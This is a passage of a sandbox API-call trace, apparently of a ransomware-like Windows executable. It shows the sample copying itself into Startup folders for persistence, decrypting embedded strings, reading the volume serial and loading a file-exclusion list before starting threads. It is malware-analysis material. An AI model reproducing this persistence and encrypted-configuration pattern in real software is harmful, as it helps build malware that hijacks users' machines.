returned 0x1c6020 [0271.685] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c6020, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x70 [0271.685] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6020 | out: hHeap=0x1c0000) returned 1 [0271.685] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c6020 [0271.685] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c6020, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x70 [0271.685] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6020 | out: hHeap=0x1c0000) returned 1 [0271.685] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), bFailIfExists=0) returned 0 [0271.689] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x134) returned 0x1c6020 [0271.689] GetLastError () returned 0x20 [0271.689] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), bFailIfExists=1) returned 0 [0271.689] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), bFailIfExists=1) returned 0 [0271.689] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6020 | out: hHeap=0x1c0000) returned 1 [0271.689] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c57c0 | out: hHeap=0x1c0000) returned 1 [0271.689] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c59d8 | out: hHeap=0x1c0000) returned 1 [0271.689] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5bf0 | out: hHeap=0x1c0000) returned 1 [0271.689] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5e08 | out: hHeap=0x1c0000) returned 1 [0271.689] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0271.689] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5550 | out: hHeap=0x1c0000) returned 1 [0271.689] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c55d0 | out: hHeap=0x1c0000) returned 1 [0271.689] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c16d0 [0271.690] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd24 | out: phKey=0x39fd24*=0x806a18) returned 1 [0271.690] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fd0c, dwFlags=0x0) returned 1 [0271.690] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0x39fcd8 | out: pbData=0x1c16d0, pdwDataLen=0x39fcd8) returned 1 [0271.690] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.690] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c16f8 [0271.690] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c1720 [0271.690] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c5550 [0271.690] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcfc | out: phKey=0x39fcfc*=0x806a18) returned 1 [0271.690] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fce4, dwFlags=0x0) returned 1 [0271.690] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5550, pdwDataLen=0x39fcb0 | out: pbData=0x1c5550, pdwDataLen=0x39fcb0) returned 1 [0271.690] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.690] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5550 | out: hHeap=0x1c0000) returned 1 [0271.690] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0271.690] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1720 | out: hHeap=0x1c0000) returned 1 [0271.690] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0271.690] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x39fd64, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x39fd64*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0271.690] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16f8 | out: hHeap=0x1c0000) returned 1 [0271.690] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1c16d0 [0271.690] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c1700 [0271.690] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fca0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd08 | out: phKey=0x39fd08*=0x806a18) returned 1 [0271.690] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcf0, dwFlags=0x0) returned 1 [0271.691] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1700, pdwDataLen=0x39fcbc | out: pbData=0x1c1700, pdwDataLen=0x39fcbc) returned 1 [0271.691] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.691] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x60) returned 0x1c1718 [0271.691] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd00 | out: phKey=0x39fd00*=0x806a18) returned 1 [0271.691] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fce8, dwFlags=0x0) returned 1 [0271.691] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1718, pdwDataLen=0x39fcb4 | out: pbData=0x1c1718, pdwDataLen=0x39fcb4) returned 1 [0271.691] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.691] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x52) returned 0x1c5550 [0271.691] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c5550, Size=0xa2) returned 0x1c5550 [0271.691] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5600 [0271.691] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0xb40) returned 0x1c5618 [0271.691] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcd0 | out: phKey=0x39fcd0*=0x806a18) returned 1 [0271.691] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcb8, dwFlags=0x0) returned 1 [0271.691] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5618, pdwDataLen=0x39fc84 | out: pbData=0x1c5618, pdwDataLen=0x39fc84) returned 1 [0271.691] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.691] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x240) returned 0x1c6160 [0271.691] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc8 | out: phKey=0x39fcc8*=0x806a18) returned 1 [0271.691] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcb0, dwFlags=0x0) returned 1 [0271.691] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6160, pdwDataLen=0x39fc7c | out: pbData=0x1c6160, pdwDataLen=0x39fc7c) returned 1 [0271.691] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.691] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c63a8 [0271.691] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc38, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fca0 | out: phKey=0x39fca0*=0x806a18) returned 1 [0271.691] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fc88, dwFlags=0x0) returned 1 [0271.691] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c63a8, pdwDataLen=0x39fc54 | out: pbData=0x1c63a8, pdwDataLen=0x39fc54) returned 1 [0271.691] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.691] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x84) returned 0x1c6440 [0271.691] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x84) returned 0x1c64d0 [0271.691] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c6560 [0271.691] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fc78 | out: phKey=0x39fc78*=0x806a18) returned 1 [0271.691] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fc60, dwFlags=0x0) returned 1 [0271.691] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6560, pdwDataLen=0x39fc2c | out: pbData=0x1c6560, pdwDataLen=0x39fc2c) returned 1 [0271.691] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.691] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6560 | out: hHeap=0x1c0000) returned 1 [0271.692] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x1c6440, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0271.692] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c64d0 | out: hHeap=0x1c0000) returned 1 [0271.692] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c63a8 | out: hHeap=0x1c0000) returned 1 [0271.692] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c63a8 [0271.692] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fc9c | out: phKey=0x39fc9c*=0x806a18) returned 1 [0271.692] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fc84, dwFlags=0x0) returned 1 [0271.692] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c63a8, pdwDataLen=0x39fc50 | out: pbData=0x1c63a8, pdwDataLen=0x39fc50) returned 1 [0271.692] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.692] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x18) returned 0x1c63d0 [0271.692] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x18) returned 0x1c63f0 [0271.692] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c64d0 [0271.692] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc0c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fc74 | out: phKey=0x39fc74*=0x806a18) returned 1 [0271.692] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fc5c, dwFlags=0x0) returned 1 [0271.692] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c64d0, pdwDataLen=0x39fc28 | out: pbData=0x1c64d0, pdwDataLen=0x39fc28) returned 1 [0271.692] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.692] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c64d0 | out: hHeap=0x1c0000) returned 1 [0271.692] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x1c63d0, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0271.692] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c63f0 | out: hHeap=0x1c0000) returned 1 [0271.692] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c63a8 | out: hHeap=0x1c0000) returned 1 [0271.692] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c64d0 [0271.692] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c66e8 [0271.692] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c66e8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x70 [0271.692] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c66e8 | out: hHeap=0x1c0000) returned 1 [0271.692] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0xb38) returned 0x1c66e8 [0271.692] GetLastError () returned 0x0 [0271.692] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c66e8, Size=0xd74) returned 0x1c66e8 [0271.692] GetLastError () returned 0x0 [0271.692] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x86) returned 0x1c7468 [0271.692] GetLastError () returned 0x0 [0271.692] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c7468, Size=0x110) returned 0x1c7468 [0271.692] GetLastError () returned 0x0 [0271.692] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1a) returned 0x1c63a8 [0271.693] GetLastError () returned 0x0 [0271.693] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd24 | out: phKey=0x39fd24*=0x806a18) returned 1 [0271.693] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fd0c, dwFlags=0x0) returned 1 [0271.693] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1700, pdwDataLen=0x39fcd8 | out: pbData=0x1c1700, pdwDataLen=0x39fcd8) returned 1 [0271.693] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.693] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c1728 [0271.693] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c1750 [0271.693] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c63d0 [0271.693] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcfc | out: phKey=0x39fcfc*=0x806a18) returned 1 [0271.693] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fce4, dwFlags=0x0) returned 1 [0271.693] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c63d0, pdwDataLen=0x39fcb0 | out: pbData=0x1c63d0, pdwDataLen=0x39fcb0) returned 1 [0271.693] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.693] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c63d0 | out: hHeap=0x1c0000) returned 1 [0271.693] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c1728, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0271.693] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1750 | out: hHeap=0x1c0000) returned 1 [0271.693] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1700 | out: hHeap=0x1c0000) returned 1 [0271.693] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x39fd64, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x39fd64*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0271.693] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1728 | out: hHeap=0x1c0000) returned 1 [0271.693] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1c1700 [0271.693] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c1730 [0271.693] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fca0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd08 | out: phKey=0x39fd08*=0x806a18) returned 1 [0271.693] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcf0, dwFlags=0x0) returned 1 [0271.693] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1730, pdwDataLen=0x39fcbc | out: pbData=0x1c1730, pdwDataLen=0x39fcbc) returned 1 [0271.693] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.693] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x60) returned 0x1c63d0 [0271.693] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd00 | out: phKey=0x39fd00*=0x806a18) returned 1 [0271.693] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fce8, dwFlags=0x0) returned 1 [0271.693] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c63d0, pdwDataLen=0x39fcb4 | out: pbData=0x1c63d0, pdwDataLen=0x39fcb4) returned 1 [0271.693] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.693] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x52) returned 0x1c6438 [0271.694] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c6438, Size=0xa2) returned 0x1c6438 [0271.694] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c1748 [0271.694] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0xb40) returned 0x1c5618 [0271.694] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcd0 | out: phKey=0x39fcd0*=0x806a18) returned 1 [0271.694] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcb8, dwFlags=0x0) returned 1 [0271.694] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5618, pdwDataLen=0x39fc84 | out: pbData=0x1c5618, pdwDataLen=0x39fc84) returned 1 [0271.694] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.694] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x240) returned 0x1c6160 [0271.694] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc8 | out: phKey=0x39fcc8*=0x806a18) returned 1 [0271.694] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcb0, dwFlags=0x0) returned 1 [0271.694] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6160, pdwDataLen=0x39fc7c | out: pbData=0x1c6160, pdwDataLen=0x39fc7c) returned 1 [0271.694] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.694] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c64e8 [0271.694] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc38, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fca0 | out: phKey=0x39fca0*=0x806a18) returned 1 [0271.694] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fc88, dwFlags=0x0) returned 1 [0271.694] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c64e8, pdwDataLen=0x39fc54 | out: pbData=0x1c64e8, pdwDataLen=0x39fc54) returned 1 [0271.694] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.694] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x84) returned 0x1c6580 [0271.694] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x84) returned 0x1c6610 [0271.694] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c7580 [0271.694] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fc78 | out: phKey=0x39fc78*=0x806a18) returned 1 [0271.694] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fc60, dwFlags=0x0) returned 1 [0271.694] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c7580, pdwDataLen=0x39fc2c | out: pbData=0x1c7580, pdwDataLen=0x39fc2c) returned 1 [0271.694] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.694] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c7580 | out: hHeap=0x1c0000) returned 1 [0271.694] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x1c6580, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0271.694] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6610 | out: hHeap=0x1c0000) returned 1 [0271.694] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c64e8 | out: hHeap=0x1c0000) returned 1 [0271.694] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c1760 [0271.694] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fc9c | out: phKey=0x39fc9c*=0x806a18) returned 1 [0271.694] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fc84, dwFlags=0x0) returned 1 [0271.694] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1760, pdwDataLen=0x39fc50 | out: pbData=0x1c1760, pdwDataLen=0x39fc50) returned 1 [0271.694] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.695] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x18) returned 0x1c64e8 [0271.695] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x18) returned 0x1c6508 [0271.695] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c6610 [0271.695] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc0c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fc74 | out: phKey=0x39fc74*=0x806a18) returned 1 [0271.695] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fc5c, dwFlags=0x0) returned 1 [0271.695] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6610, pdwDataLen=0x39fc28 | out: pbData=0x1c6610, pdwDataLen=0x39fc28) returned 1 [0271.695] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.695] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6610 | out: hHeap=0x1c0000) returned 1 [0271.695] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x1c64e8, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0271.695] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6508 | out: hHeap=0x1c0000) returned 1 [0271.695] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1760 | out: hHeap=0x1c0000) returned 1 [0271.695] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c7580 [0271.695] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c7798 [0271.695] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c7798, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x70 [0271.695] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c7798 | out: hHeap=0x1c0000) returned 1 [0271.695] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0xb38) returned 0x1c7798 [0271.695] GetLastError () returned 0x0 [0271.695] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c6610, Size=0x110) returned 0x1c8520 [0271.695] GetLastError () returned 0x0 [0271.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1171f96, lpParameter=0x39fdfc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0271.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1171e5c, lpParameter=0x39fdec, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0271.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1171932, lpParameter=0x39fdfc, dwCreationFlags=0x0, 